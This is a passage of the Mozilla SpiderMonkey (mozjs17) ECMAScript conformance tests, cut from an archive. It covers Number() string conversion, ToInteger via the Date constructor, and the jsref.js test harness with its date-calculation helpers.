'999' + '\\t' )", 999, Number( '999'+'\t' ) ); new TestCase( SECTION, "Number( '999' + '\\f' )", 999, Number( '999'+'\f' ) ); new TestCase( SECTION, "Number( '\\n' + '999' + '\\n' )", 999, Number( '\n' +'999'+'\n' ) ); new TestCase( SECTION, "Number( '\\r' + '999' + '\\r' )", 999, Number( '\r' +'999'+'\r' ) ); new TestCase( SECTION, "Number( '\\t' + '999' + '\\t' )", 999, Number( '\t' +'999'+'\t' ) ); new TestCase( SECTION, "Number( '\\f' + '999' + '\\f' )", 999, Number( '\f' +'999'+'\f' ) ); var ws = ["", " ", " ", " "]; for (var i = 0, sz = ws.length; i < sz; i++) { var start = ws[i]; for (var j = 0; j < sz; j++) { var end = ws[j]; new TestCase( SECTION, "Number( '" + start + "' + '0xA' )", 10, Number( start+'0xA') ); new TestCase( SECTION, "Number( '0xA' + '" + end + "' )", 10, Number( '0xA'+end) ); new TestCase( SECTION, "Number( '" + start + "' + '0xA' + '" + end + "' )", 10, Number( start +'0xA'+end ) ); } } new TestCase( SECTION, "Number( String.fromCharCode(0x0009) + '99' )", 99, Number( String.fromCharCode(0x0009) + '99' ) ); new TestCase( SECTION, "Number( String.fromCharCode(0x0020) + '99' )", 99, Number( String.fromCharCode(0x0020) + '99' ) ); new TestCase( SECTION, "Number( String.fromCharCode(0x000C) + '99' )", 99, Number( String.fromCharCode(0x000C) + '99' ) ); new TestCase( SECTION, "Number( String.fromCharCode(0x000B) + '99' )", 99, Number( String.fromCharCode(0x000B) + '99' ) ); new TestCase( SECTION, "Number( String.fromCharCode(0x000D) + '99' )", 99, Number( String.fromCharCode(0x000D) + '99' ) ); new TestCase( SECTION, "Number( String.fromCharCode(0x000A) + '99' )", 99, Number( String.fromCharCode(0x000A) + '99' ) ); new TestCase( SECTION, "Number( String.fromCharCode(0x0009) + '99' + String.fromCharCode(0x0009)", 99, Number( String.fromCharCode(0x0009) + '99' + String.fromCharCode(0x0009)) ); new TestCase( SECTION, "Number( String.fromCharCode(0x0020) + '99' + String.fromCharCode(0x0020)", 99, Number( String.fromCharCode(0x0009) + '99' + String.fromCharCode(0x0020)) ); new TestCase( SECTION, "Number( String.fromCharCode(0x000C) + '99' + String.fromCharCode(0x000C)", 99, Number( String.fromCharCode(0x0009) + '99' + String.fromCharCode(0x000C)) ); new TestCase( SECTION, "Number( String.fromCharCode(0x000D) + '99' + String.fromCharCode(0x000D)", 99, Number( String.fromCharCode(0x0009) + '99' + String.fromCharCode(0x000D)) ); new TestCase( SECTION, "Number( String.fromCharCode(0x000B) + '99' + String.fromCharCode(0x000B)", 99, Number( String.fromCharCode(0x0009) + '99' + String.fromCharCode(0x000B)) ); new TestCase( SECTION, "Number( String.fromCharCode(0x000A) + '99' + String.fromCharCode(0x000A)", 99, Number( String.fromCharCode(0x0009) + '99' + String.fromCharCode(0x000A)) ); new TestCase( SECTION, "Number( '99' + String.fromCharCode(0x0009)", 99, Number( '99' + String.fromCharCode(0x0009)) ); new TestCase( SECTION, "Number( '99' + String.fromCharCode(0x0020)", 99, Number( '99' + String.fromCharCode(0x0020)) ); new TestCase( SECTION, "Number( '99' + String.fromCharCode(0x000C)", 99, Number( '99' + String.fromCharCode(0x000C)) ); new TestCase( SECTION, "Number( '99' + String.fromCharCode(0x000D)", 99, Number( '99' + String.fromCharCode(0x000D)) ); new TestCase( SECTION, "Number( '99' + String.fromCharCode(0x000B)", 99, Number( '99' + String.fromCharCode(0x000B)) ); new TestCase( SECTION, "Number( '99' + String.fromCharCode(0x000A)", 99, Number( '99' + String.fromCharCode(0x000A)) ); new TestCase( SECTION, "Number( String.fromCharCode(0x0009) + 99 )", 99, Number( String.fromCharCode(0x0009) + 99 ) ); new TestCase( SECTION, "Number( String.fromCharCode(0x0020) + 99 )", 99, Number( String.fromCharCode(0x0020) + 99 ) ); new TestCase( SECTION, "Number( String.fromCharCode(0x000C) + 99 )", 99, Number( String.fromCharCode(0x000C) + 99 ) ); new TestCase( SECTION, "Number( String.fromCharCode(0x000B) + 99 )", 99, Number( String.fromCharCode(0x000B) + 99 ) ); new TestCase( SECTION, "Number( String.fromCharCode(0x000D) + 99 )", 99, Number( String.fromCharCode(0x000D) + 99 ) ); new TestCase( SECTION, "Number( String.fromCharCode(0x000A) + 99 )", 99, Number( String.fromCharCode(0x000A) + 99 ) ); new TestCase( SECTION, "Number( String.fromCharCode(0x0009) + 99 + String.fromCharCode(0x0009)", 99, Number( String.fromCharCode(0x0009) + 99 + String.fromCharCode(0x0009)) ); new TestCase( SECTION, "Number( String.fromCharCode(0x0020) + 99 + String.fromCharCode(0x0020)", 99, Number( String.fromCharCode(0x0009) + 99 + String.fromCharCode(0x0020)) ); new TestCase( SECTION, "Number( String.fromCharCode(0x000C) + 99 + String.fromCharCode(0x000C)", 99, Number( String.fromCharCode(0x0009) + 99 + String.fromCharCode(0x000C)) ); new TestCase( SECTION, "Number( String.fromCharCode(0x000D) + 99 + String.fromCharCode(0x000D)", 99, Number( String.fromCharCode(0x0009) + 99 + String.fromCharCode(0x000D)) ); new TestCase( SECTION, "Number( String.fromCharCode(0x000B) + 99 + String.fromCharCode(0x000B)", 99, Number( String.fromCharCode(0x0009) + 99 + String.fromCharCode(0x000B)) ); new TestCase( SECTION, "Number( String.fromCharCode(0x000A) + 99 + String.fromCharCode(0x000A)", 99, Number( String.fromCharCode(0x0009) + 99 + String.fromCharCode(0x000A)) ); new TestCase( SECTION, "Number( 99 + String.fromCharCode(0x0009)", 99, Number( 99 + String.fromCharCode(0x0009)) ); new TestCase( SECTION, "Number( 99 + String.fromCharCode(0x0020)", 99, Number( 99 + String.fromCharCode(0x0020)) ); new TestCase( SECTION, "Number( 99 + String.fromCharCode(0x000C)", 99, Number( 99 + String.fromCharCode(0x000C)) ); new TestCase( SECTION, "Number( 99 + String.fromCharCode(0x000D)", 99, Number( 99 + String.fromCharCode(0x000D)) ); new TestCase( SECTION, "Number( 99 + String.fromCharCode(0x000B)", 99, Number( 99 + String.fromCharCode(0x000B)) ); new TestCase( SECTION, "Number( 99 + String.fromCharCode(0x000A)", 99, Number( 99 + String.fromCharCode(0x000A)) ); // StrNumericLiteral:::StrDecimalLiteral:::Infinity new TestCase( SECTION, "Number('Infinity')", Math.pow(10,10000), Number("Infinity") ); new TestCase( SECTION, "Number('-Infinity')", -Math.pow(10,10000), Number("-Infinity") ); new TestCase( SECTION, "Number('+Infinity')", Math.pow(10,10000), Number("+Infinity") ); // StrNumericLiteral::: StrDecimalLiteral ::: DecimalDigits . DecimalDigits opt ExponentPart opt new TestCase( SECTION, "Number('0')", 0, Number("0") ); new TestCase( SECTION, "Number('-0')", -0, Number("-0") ); new TestCase( SECTION, "Number('+0')", 0, Number("+0") ); new TestCase( SECTION, "Number('1')", 1, Number("1") ); new TestCase( SECTION, "Number('-1')", -1, Number("-1") ); new TestCase( SECTION, "Number('+1')", 1, Number("+1") ); new TestCase( SECTION, "Number('2')", 2, Number("2") ); new TestCase( SECTION, "Number('-2')", -2, Number("-2") ); new TestCase( SECTION, "Number('+2')", 2, Number("+2") ); new TestCase( SECTION, "Number('3')", 3, Number("3") ); new TestCase( SECTION, "Number('-3')", -3, Number("-3") ); new TestCase( SECTION, "Number('+3')", 3, Number("+3") ); new TestCase( SECTION, "Number('4')", 4, Number("4") ); new TestCase( SECTION, "Number('-4')", -4, Number("-4") ); new TestCase( SECTION, "Number('+4')", 4, Number("+4") ); new TestCase( SECTION, "Number('5')", 5, Number("5") ); new TestCase( SECTION, "Number('-5')", -5, Number("-5") ); new TestCase( SECTION, "Number('+5')", 5, Number("+5") ); new TestCase( SECTION, "Number('6')", 6, Number("6") ); new TestCase( SECTION, "Number('-6')", -6, Number("-6") ); new TestCase( SECTION, "Number('+6')", 6, Number("+6") ); new TestCase( SECTION, "Number('7')", 7, Number("7") ); new TestCase( SECTION, "Number('-7')", -7, Number("-7") ); new TestCase( SECTION, "Number('+7')", 7, Number("+7") ); new TestCase( SECTION, "Number('8')", 8, Number("8") ); new TestCase( SECTION, "Number('-8')", -8, Number("-8") ); new TestCase( SECTION, "Number('+8')", 8, Number("+8") ); new TestCase( SECTION, "Number('9')", 9, Number("9") ); new TestCase( SECTION, "Number('-9')", -9, Number("-9") ); new TestCase( SECTION, "Number('+9')", 9, Number("+9") ); new TestCase( SECTION, "Number('3.14159')", 3.14159, Number("3.14159") ); new TestCase( SECTION, "Number('-3.14159')", -3.14159, Number("-3.14159") ); new TestCase( SECTION, "Number('+3.14159')", 3.14159, Number("+3.14159") ); new TestCase( SECTION, "Number('3.')", 3, Number("3.") ); new TestCase( SECTION, "Number('-3.')", -3, Number("-3.") ); new TestCase( SECTION, "Number('+3.')", 3, Number("+3.") ); new TestCase( SECTION, "Number('3.e1')", 30, Number("3.e1") ); new TestCase( SECTION, "Number('-3.e1')", -30, Number("-3.e1") ); new TestCase( SECTION, "Number('+3.e1')", 30, Number("+3.e1") ); new TestCase( SECTION, "Number('3.e+1')", 30, Number("3.e+1") ); new TestCase( SECTION, "Number('-3.e+1')", -30, Number("-3.e+1") ); new TestCase( SECTION, "Number('+3.e+1')", 30, Number("+3.e+1") ); new TestCase( SECTION, "Number('3.e-1')", .30, Number("3.e-1") ); new TestCase( SECTION, "Number('-3.e-1')", -.30, Number("-3.e-1") ); new TestCase( SECTION, "Number('+3.e-1')", .30, Number("+3.e-1") ); // StrDecimalLiteral::: .DecimalDigits ExponentPart opt new TestCase( SECTION, "Number('.00001')", 0.00001, Number(".00001") ); new TestCase( SECTION, "Number('+.00001')", 0.00001, Number("+.00001") ); new TestCase( SECTION, "Number('-0.0001')", -0.00001, Number("-.00001") ); new TestCase( SECTION, "Number('.01e2')", 1, Number(".01e2") ); new TestCase( SECTION, "Number('+.01e2')", 1, Number("+.01e2") ); new TestCase( SECTION, "Number('-.01e2')", -1, Number("-.01e2") ); new TestCase( SECTION, "Number('.01e+2')", 1, Number(".01e+2") ); new TestCase( SECTION, "Number('+.01e+2')", 1, Number("+.01e+2") ); new TestCase( SECTION, "Number('-.01e+2')", -1, Number("-.01e+2") ); new TestCase( SECTION, "Number('.01e-2')", 0.0001, Number(".01e-2") ); new TestCase( SECTION, "Number('+.01e-2')", 0.0001, Number("+.01e-2") ); new TestCase( SECTION, "Number('-.01e-2')", -0.0001, Number("-.01e-2") ); // StrDecimalLiteral::: DecimalDigits ExponentPart opt new TestCase( SECTION, "Number('1234e5')", 123400000, Number("1234e5") ); new TestCase( SECTION, "Number('+1234e5')", 123400000, Number("+1234e5") ); new TestCase( SECTION, "Number('-1234e5')", -123400000, Number("-1234e5") ); new TestCase( SECTION, "Number('1234e+5')", 123400000, Number("1234e+5") ); new TestCase( SECTION, "Number('+1234e+5')", 123400000, Number("+1234e+5") ); new TestCase( SECTION, "Number('-1234e+5')", -123400000, Number("-1234e+5") ); new TestCase( SECTION, "Number('1234e-5')", 0.01234, Number("1234e-5") ); new TestCase( SECTION, "Number('+1234e-5')", 0.01234, Number("+1234e-5") ); new TestCase( SECTION, "Number('-1234e-5')", -0.01234, Number("-1234e-5") ); // StrNumericLiteral::: HexIntegerLiteral new TestCase( SECTION, "Number('0x0')", 0, Number("0x0")); new TestCase( SECTION, "Number('0x1')", 1, Number("0x1")); new TestCase( SECTION, "Number('0x2')", 2, Number("0x2")); new TestCase( SECTION, "Number('0x3')", 3, Number("0x3")); new TestCase( SECTION, "Number('0x4')", 4, Number("0x4")); new TestCase( SECTION, "Number('0x5')", 5, Number("0x5")); new TestCase( SECTION, "Number('0x6')", 6, Number("0x6")); new TestCase( SECTION, "Number('0x7')", 7, Number("0x7")); new TestCase( SECTION, "Number('0x8')", 8, Number("0x8")); new TestCase( SECTION, "Number('0x9')", 9, Number("0x9")); new TestCase( SECTION, "Number('0xa')", 10, Number("0xa")); new TestCase( SECTION, "Number('0xb')", 11, Number("0xb")); new TestCase( SECTION, "Number('0xc')", 12, Number("0xc")); new TestCase( SECTION, "Number('0xd')", 13, Number("0xd")); new TestCase( SECTION, "Number('0xe')", 14, Number("0xe")); new TestCase( SECTION, "Number('0xf')", 15, Number("0xf")); new TestCase( SECTION, "Number('0xA')", 10, Number("0xA")); new TestCase( SECTION, "Number('0xB')", 11, Number("0xB")); new TestCase( SECTION, "Number('0xC')", 12, Number("0xC")); new TestCase( SECTION, "Number('0xD')", 13, Number("0xD")); new TestCase( SECTION, "Number('0xE')", 14, Number("0xE")); new TestCase( SECTION, "Number('0xF')", 15, Number("0xF")); new TestCase( SECTION, "Number('0X0')", 0, Number("0X0")); new TestCase( SECTION, "Number('0X1')", 1, Number("0X1")); new TestCase( SECTION, "Number('0X2')", 2, Number("0X2")); new TestCase( SECTION, "Number('0X3')", 3, Number("0X3")); new TestCase( SECTION, "Number('0X4')", 4, Number("0X4")); new TestCase( SECTION, "Number('0X5')", 5, Number("0X5")); new TestCase( SECTION, "Number('0X6')", 6, Number("0X6")); new TestCase( SECTION, "Number('0X7')", 7, Number("0X7")); new TestCase( SECTION, "Number('0X8')", 8, Number("0X8")); new TestCase( SECTION, "Number('0X9')", 9, Number("0X9")); new TestCase( SECTION, "Number('0Xa')", 10, Number("0Xa")); new TestCase( SECTION, "Number('0Xb')", 11, Number("0Xb")); new TestCase( SECTION, "Number('0Xc')", 12, Number("0Xc")); new TestCase( SECTION, "Number('0Xd')", 13, Number("0Xd")); new TestCase( SECTION, "Number('0Xe')", 14, Number("0Xe")); new TestCase( SECTION, "Number('0Xf')", 15, Number("0Xf")); new TestCase( SECTION, "Number('0XA')", 10, Number("0XA")); new TestCase( SECTION, "Number('0XB')", 11, Number("0XB")); new TestCase( SECTION, "Number('0XC')", 12, Number("0XC")); new TestCase( SECTION, "Number('0XD')", 13, Number("0XD")); new TestCase( SECTION, "Number('0XE')", 14, Number("0XE")); new TestCase( SECTION, "Number('0XF')", 15, Number("0XF")); test(); mozjs17.0.0/js/src/tests/ecma/TypeConversion/9.4-2.js0000664000175000017500000000777312106270663022067 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 9.4-1.js ECMA Section: 9.4 ToInteger Description: 1. Call ToNumber on the input argument 2. If Result(1) is NaN, return +0 3. If Result(1) is +0, -0, Infinity, or -Infinity, return Result(1). 4. Compute sign(Result(1)) * floor(abs(Result(1))). 5. Return Result(4). To test ToInteger, this test uses new Date(value), 15.9.3.7. The Date constructor sets the [[Value]] property of the new object to TimeClip(value), which uses the rules: TimeClip(time) 1. If time is not finite, return NaN 2. If abs(Result(1)) > 8.64e15, return NaN 3. Return an implementation dependent choice of either ToInteger(Result(2)) or ToInteger(Result(2)) + (+0) (Adding a positive 0 converts -0 to +0). This tests ToInteger for values -8.64e15 > value > 8.64e15, not including -0 and +0. For additional special cases (0, +0, Infinity, -Infinity, and NaN, see 9.4-2.js). For value is String, see 9.4-3.js. Author: christine@netscape.com Date: 10 july 1997 */ var SECTION = "9.4-1"; var VERSION = "ECMA_1"; startTest(); var TITLE = "ToInteger"; writeHeaderToLog( SECTION + " "+ TITLE); // some special cases new TestCase( SECTION, "td = new Date(Number.NaN); td.valueOf()", Number.NaN, eval("td = new Date(Number.NaN); td.valueOf()") ); new TestCase( SECTION, "td = new Date(Infinity); td.valueOf()", Number.NaN, eval("td = new Date(Number.POSITIVE_INFINITY); td.valueOf()") ); new TestCase( SECTION, "td = new Date(-Infinity); td.valueOf()", Number.NaN, eval("td = new Date(Number.NEGATIVE_INFINITY); td.valueOf()") ); new TestCase( SECTION, "td = new Date(-0); td.valueOf()", -0, eval("td = new Date(-0); td.valueOf()" ) ); new TestCase( SECTION, "td = new Date(0); td.valueOf()", 0, eval("td = new Date(0); td.valueOf()") ); // value is not an integer new TestCase( SECTION, "td = new Date(3.14159); td.valueOf()", 3, eval("td = new Date(3.14159); td.valueOf()") ); new TestCase( SECTION, "td = new Date(Math.PI); td.valueOf()", 3, eval("td = new Date(Math.PI); td.valueOf()") ); new TestCase( SECTION, "td = new Date(-Math.PI);td.valueOf()", -3, eval("td = new Date(-Math.PI);td.valueOf()") ); new TestCase( SECTION, "td = new Date(3.14159e2); td.valueOf()", 314, eval("td = new Date(3.14159e2); td.valueOf()") ); new TestCase( SECTION, "td = new Date(.692147e1); td.valueOf()", 6, eval("td = new Date(.692147e1);td.valueOf()") ); new TestCase( SECTION, "td = new Date(-.692147e1);td.valueOf()", -6, eval("td = new Date(-.692147e1);td.valueOf()") ); // value is not a number new TestCase( SECTION, "td = new Date(true); td.valueOf()", 1, eval("td = new Date(true); td.valueOf()" ) ); new TestCase( SECTION, "td = new Date(false); td.valueOf()", 0, eval("td = new Date(false); td.valueOf()") ); new TestCase( SECTION, "td = new Date(new Number(Math.PI)); td.valueOf()", 3, eval("td = new Date(new Number(Math.PI)); td.valueOf()") ); new TestCase( SECTION, "td = new Date(new Number(Math.PI)); td.valueOf()", 3, eval("td = new Date(new Number(Math.PI)); td.valueOf()") ); // edge cases new TestCase( SECTION, "td = new Date(8.64e15); td.valueOf()", 8.64e15, eval("td = new Date(8.64e15); td.valueOf()") ); new TestCase( SECTION, "td = new Date(-8.64e15); td.valueOf()", -8.64e15, eval("td = new Date(-8.64e15); td.valueOf()") ); new TestCase( SECTION, "td = new Date(8.64e-15); td.valueOf()", 0, eval("td = new Date(8.64e-15); td.valueOf()") ); new TestCase( SECTION, "td = new Date(-8.64e-15); td.valueOf()", 0, eval("td = new Date(-8.64e-15); td.valueOf()") ); test(); mozjs17.0.0/js/src/tests/ecma/jsref.js0000664000175000017500000003777212106270663017542 0ustar sstanglsstanglvar completed = false; var testcases; var tc = 0; SECTION = ""; VERSION = ""; BUGNUMBER = ""; TITLE = ""; /* * constant strings */ var GLOBAL = "[object global]"; var PASSED = " PASSED!" var FAILED = " FAILED! expected: "; var DEBUG = false; TZ_DIFF = -8; var TT = ""; var TT_ = ""; var BR = ""; var NBSP = " "; var CR = "\n"; var FONT = ""; var FONT_ = ""; var FONT_RED = ""; var FONT_GREEN = ""; var B = ""; var B_ = "" var H2 = ""; var H2_ = ""; var HR = ""; var DEBUG = false; var PASSED = " PASSED!" var FAILED = " FAILED! expected: "; function test() { for ( tc=0; tc < testcases.length; tc++ ) { testcases[tc].passed = writeTestCaseResult( testcases[tc].expect, testcases[tc].actual, testcases[tc].description +" = "+ testcases[tc].actual ); testcases[tc].reason += ( testcases[tc].passed ) ? "" : "wrong value "; } stopTest(); return ( testcases ); } /* wrapper for test cas constructor that doesn't require the SECTION * argument. */ function AddTestCase( description, expect, actual ) { testcases[tc++] = new TestCase( SECTION, description, expect, actual ); } function TestCase( n, d, e, a ) { this.name = n; this.description = d; this.expect = e; this.actual = a; this.passed = true; this.reason = ""; this.bugnumber = BUGNUMBER; this.passed = getTestCaseResult( this.expect, this.actual ); if ( DEBUG ) { print( "added " + this.description ); } } /* * Set up test environment. * */ function startTest() { if ( version ) { // JavaScript 1.3 is supposed to be compliant ecma version 1.0 if ( VERSION == "ECMA_1" ) { version ( "130" ); } if ( VERSION == "JS_1.3" ) { version ( "130" ); } if ( VERSION == "JS_1.2" ) { version ( "120" ); } if ( VERSION == "JS_1.1" ) { version ( "110" ); } // for ecma version 2.0, we will leave the javascript version to // the default ( for now ). } // print out bugnumber if ( BUGNUMBER ) { print ("BUGNUMBER: " + BUGNUMBER ); } testcases = new Array(); tc = 0; } function test() { for ( tc=0; tc < testcases.length; tc++ ) { testcases[tc].passed = writeTestCaseResult( testcases[tc].expect, testcases[tc].actual, testcases[tc].description +" = "+ testcases[tc].actual ); testcases[tc].reason += ( testcases[tc].passed ) ? "" : "wrong value "; } stopTest(); return ( testcases ); } function getTestCaseResult( expect, actual ) { // because ( NaN == NaN ) always returns false, need to do // a special compare to see if we got the right result. if ( actual != actual ) { if ( typeof actual == "object" ) { actual = "NaN object"; } else { actual = "NaN number"; } } if ( expect != expect ) { if ( typeof expect == "object" ) { expect = "NaN object"; } else { expect = "NaN number"; } } var passed = ( expect == actual ) ? true : false; // if both objects are numbers // need to replace w/ IEEE standard for rounding if ( !passed && typeof(actual) == "number" && typeof(expect) == "number" ) { if ( Math.abs(actual-expect) < 0.0000001 ) { passed = true; } } // verify type is the same if ( typeof(expect) != typeof(actual) ) { passed = false; } return passed; } function writeTestCaseResult( expect, actual, string ) { var passed = getTestCaseResult( expect, actual ); writeFormattedResult( expect, actual, string, passed ); return passed; } function writeFormattedResult( expect, actual, string, passed ) { var s = TT + string ; for ( k = 0; k < (60 - string.length >= 0 ? 60 - string.length : 5) ; k++ ) { } s += B ; s += ( passed ) ? FONT_GREEN + NBSP + PASSED : FONT_RED + NBSP + FAILED + expect + TT_ ; print( s + FONT_ + B_ + TT_ ); return passed; } function writeHeaderToLog( string ) { print( H2 + string + H2_ ); } function stopTest() { var sizeTag = "<#TEST CASES SIZE>"; var doneTag = "<#TEST CASES DONE>"; var beginTag = "<#TEST CASE "; var endTag = ">"; print(sizeTag); print(testcases.length); for (tc = 0; tc < testcases.length; tc++) { print(beginTag + 'PASSED' + endTag); print(testcases[tc].passed); print(beginTag + 'NAME' + endTag); print(testcases[tc].name); print(beginTag + 'EXPECTED' + endTag); print(testcases[tc].expect); print(beginTag + 'ACTUAL' + endTag); print(testcases[tc].actual); print(beginTag + 'DESCRIPTION' + endTag); print(testcases[tc].description); print(beginTag + 'REASON' + endTag); print(( testcases[tc].passed ) ? "" : "wrong value "); print(beginTag + 'BUGNUMBER' + endTag); print( BUGNUMBER ); } print(doneTag); print( HR ); gc(); } function getFailedCases() { for ( var i = 0; i < testcases.length; i++ ) { if ( ! testcases[i].passed ) { print( testcases[i].description +" = " +testcases[i].actual +" expected: "+ testcases[i].expect ); } } } function err( msg, page, line ) { testcases[tc].actual = "error"; testcases[tc].reason = msg; writeTestCaseResult( testcases[tc].expect, testcases[tc].actual, testcases[tc].description +" = "+ testcases[tc].actual + ": " + testcases[tc].reason ); stopTest(); return true; } /** * Type Conversion functions used by Type Conversion * */ /* * Date functions used by tests in Date suite * */ var msPerDay = 86400000; var HoursPerDay = 24; var MinutesPerHour = 60; var SecondsPerMinute = 60; var msPerSecond = 1000; var msPerMinute = 60000; // msPerSecond * SecondsPerMinute var msPerHour = 3600000; // msPerMinute * MinutesPerHour var TIME_1970 = 0; var TIME_2000 = 946684800000; var TIME_1900 = -2208988800000; function Day( t ) { return ( Math.floor(t/msPerDay ) ); } function DaysInYear( y ) { if ( y % 4 != 0 ) { return 365; } if ( (y % 4 == 0) && (y % 100 != 0) ) { return 366; } if ( (y % 100 == 0) && (y % 400 != 0) ) { return 365; } if ( (y % 400 == 0) ){ return 366; } else { return "ERROR: DaysInYear(" + y + ") case not covered"; } } function TimeInYear( y ) { return ( DaysInYear(y) * msPerDay ); } function DayNumber( t ) { return ( Math.floor( t / msPerDay ) ); } function TimeWithinDay( t ) { if ( t < 0 ) { return ( (t % msPerDay) + msPerDay ); } else { return ( t % msPerDay ); } } function YearNumber( t ) { } function TimeFromYear( y ) { return ( msPerDay * DayFromYear(y) ); } function DayFromYear( y ) { return ( 365*(y-1970) + Math.floor((y-1969)/4) - Math.floor((y-1901)/100) + Math.floor((y-1601)/400) ); } function InLeapYear( t ) { if ( DaysInYear(YearFromTime(t)) == 365 ) { return 0; } if ( DaysInYear(YearFromTime(t)) == 366 ) { return 1; } else { return "ERROR: InLeapYear("+t+") case not covered"; } } function YearFromTime( t ) { t = Number( t ); var sign = ( t < 0 ) ? -1 : 1; var year = ( sign < 0 ) ? 1969 : 1970; for ( var timeToTimeZero = t; ; ) { // subtract the current year's time from the time that's left. timeToTimeZero -= sign * TimeInYear(year) // if there's less than the current year's worth of time left, then break. if ( sign < 0 ) { if ( sign * timeToTimeZero <= 0 ) { break; } else { year += sign; } } else { if ( sign * timeToTimeZero < 0 ) { break; } else { year += sign; } } } return ( year ); } function MonthFromTime( t ) { // i know i could use switch but i'd rather not until it's part of ECMA var day = DayWithinYear( t ); var leap = InLeapYear(t); if ( (0 <= day) && (day < 31) ) { return 0; } if ( (31 <= day) && (day < (59+leap)) ) { return 1; } if ( ((59+leap) <= day) && (day < (90+leap)) ) { return 2; } if ( ((90+leap) <= day) && (day < (120+leap)) ) { return 3; } if ( ((120+leap) <= day) && (day < (151+leap)) ) { return 4; } if ( ((151+leap) <= day) && (day < (181+leap)) ) { return 5; } if ( ((181+leap) <= day) && (day < (212+leap)) ) { return 6; } if ( ((212+leap) <= day) && (day < (243+leap)) ) { return 7; } if ( ((243+leap) <= day) && (day < (273+leap)) ) { return 8; } if ( ((273+leap) <= day) && (day < (304+leap)) ) { return 9; } if ( ((304+leap) <= day) && (day < (334+leap)) ) { return 10; } if ( ((334+leap) <= day) && (day < (365+leap)) ) { return 11; } else { return "ERROR: MonthFromTime("+t+") not known"; } } function DayWithinYear( t ) { return( Day(t) - DayFromYear(YearFromTime(t))); } function DateFromTime( t ) { var day = DayWithinYear(t); var month = MonthFromTime(t); if ( month == 0 ) { return ( day + 1 ); } if ( month == 1 ) { return ( day - 30 ); } if ( month == 2 ) { return ( day - 58 - InLeapYear(t) ); } if ( month == 3 ) { return ( day - 89 - InLeapYear(t)); } if ( month == 4 ) { return ( day - 119 - InLeapYear(t)); } if ( month == 5 ) { return ( day - 150- InLeapYear(t)); } if ( month == 6 ) { return ( day - 180- InLeapYear(t)); } if ( month == 7 ) { return ( day - 211- InLeapYear(t)); } if ( month == 8 ) { return ( day - 242- InLeapYear(t)); } if ( month == 9 ) { return ( day - 272- InLeapYear(t)); } if ( month == 10 ) { return ( day - 303- InLeapYear(t)); } if ( month == 11 ) { return ( day - 333- InLeapYear(t)); } return ("ERROR: DateFromTime("+t+") not known" ); } function WeekDay( t ) { var weekday = (Day(t)+4) % 7; return( weekday < 0 ? 7 + weekday : weekday ); } // missing daylight savins time adjustment function HourFromTime( t ) { var h = Math.floor( t / msPerHour ) % HoursPerDay; return ( (h<0) ? HoursPerDay + h : h ); } function MinFromTime( t ) { var min = Math.floor( t / msPerMinute ) % MinutesPerHour; return( ( min < 0 ) ? MinutesPerHour + min : min ); } function SecFromTime( t ) { var sec = Math.floor( t / msPerSecond ) % SecondsPerMinute; return ( (sec < 0 ) ? SecondsPerMinute + sec : sec ); } function msFromTime( t ) { var ms = t % msPerSecond; return ( (ms < 0 ) ? msPerSecond + ms : ms ); } function LocalTZA() { return ( TZ_DIFF * msPerHour ); } function UTC( t ) { return ( t - LocalTZA() - DaylightSavingTA(t - LocalTZA()) ); } function DaylightSavingTA( t ) { t = t - LocalTZA(); var dst_start = GetFirstSundayInApril(t) + 2*msPerHour; var dst_end = GetLastSundayInOctober(t)+ 2*msPerHour; if ( t >= dst_start && t < dst_end ) { return msPerHour; } else { return 0; } // Daylight Savings Time starts on the first Sunday in April at 2:00AM in // PST. Other time zones will need to override this function. print( new Date( UTC(dst_start + LocalTZA())) ); return UTC(dst_start + LocalTZA()); } function GetFirstSundayInApril( t ) { var year = YearFromTime(t); var leap = InLeapYear(t); var april = TimeFromYear(year) + TimeInMonth(0, leap) + TimeInMonth(1,leap) + TimeInMonth(2,leap); for ( var first_sunday = april; WeekDay(first_sunday) > 0; first_sunday += msPerDay ) { ; } return first_sunday; } function GetLastSundayInOctober( t ) { var year = YearFromTime(t); var leap = InLeapYear(t); for ( var oct = TimeFromYear(year), m = 0; m < 9; m++ ) { oct += TimeInMonth(m, leap); } for ( var last_sunday = oct + 30*msPerDay; WeekDay(last_sunday) > 0; last_sunday -= msPerDay ) { ; } return last_sunday; } function LocalTime( t ) { return ( t + LocalTZA() + DaylightSavingTA(t) ); } function MakeTime( hour, min, sec, ms ) { if ( isNaN( hour ) || isNaN( min ) || isNaN( sec ) || isNaN( ms ) ) { return Number.NaN; } hour = ToInteger(hour); min = ToInteger( min); sec = ToInteger( sec); ms = ToInteger( ms ); return( (hour*msPerHour) + (min*msPerMinute) + (sec*msPerSecond) + ms ); } function MakeDay( year, month, date ) { if ( isNaN(year) || isNaN(month) || isNaN(date) ) { return Number.NaN; } year = ToInteger(year); month = ToInteger(month); date = ToInteger(date ); var sign = ( year < 1970 ) ? -1 : 1; var t = ( year < 1970 ) ? 1 : 0; var y = ( year < 1970 ) ? 1969 : 1970; var result5 = year + Math.floor( month/12 ); var result6 = month % 12; if ( year < 1970 ) { for ( y = 1969; y >= year; y += sign ) { t += sign * TimeInYear(y); } } else { for ( y = 1970 ; y < year; y += sign ) { t += sign * TimeInYear(y); } } var leap = InLeapYear( t ); for ( var m = 0; m < month; m++ ) { t += TimeInMonth( m, leap ); } if ( YearFromTime(t) != result5 ) { return Number.NaN; } if ( MonthFromTime(t) != result6 ) { return Number.NaN; } if ( DateFromTime(t) != 1 ) { return Number.NaN; } return ( (Day(t)) + date - 1 ); } function TimeInMonth( month, leap ) { // september april june november // jan 0 feb 1 mar 2 apr 3 may 4 june 5 jul 6 // aug 7 sep 8 oct 9 nov 10 dec 11 if ( month == 3 || month == 5 || month == 8 || month == 10 ) { return ( 30*msPerDay ); } // all the rest if ( month == 0 || month == 2 || month == 4 || month == 6 || month == 7 || month == 9 || month == 11 ) { return ( 31*msPerDay ); } // save february return ( (leap == 0) ? 28*msPerDay : 29*msPerDay ); } function MakeDate( day, time ) { if ( day == Number.POSITIVE_INFINITY || day == Number.NEGATIVE_INFINITY || day == Number.NaN ) { return Number.NaN; } if ( time == Number.POSITIVE_INFINITY || time == Number.POSITIVE_INFINITY || day == Number.NaN) { return Number.NaN; } return ( day * msPerDay ) + time; } function TimeClip( t ) { if ( isNaN( t ) ) { return ( Number.NaN ); } if ( Math.abs( t ) > 8.64e15 ) { return 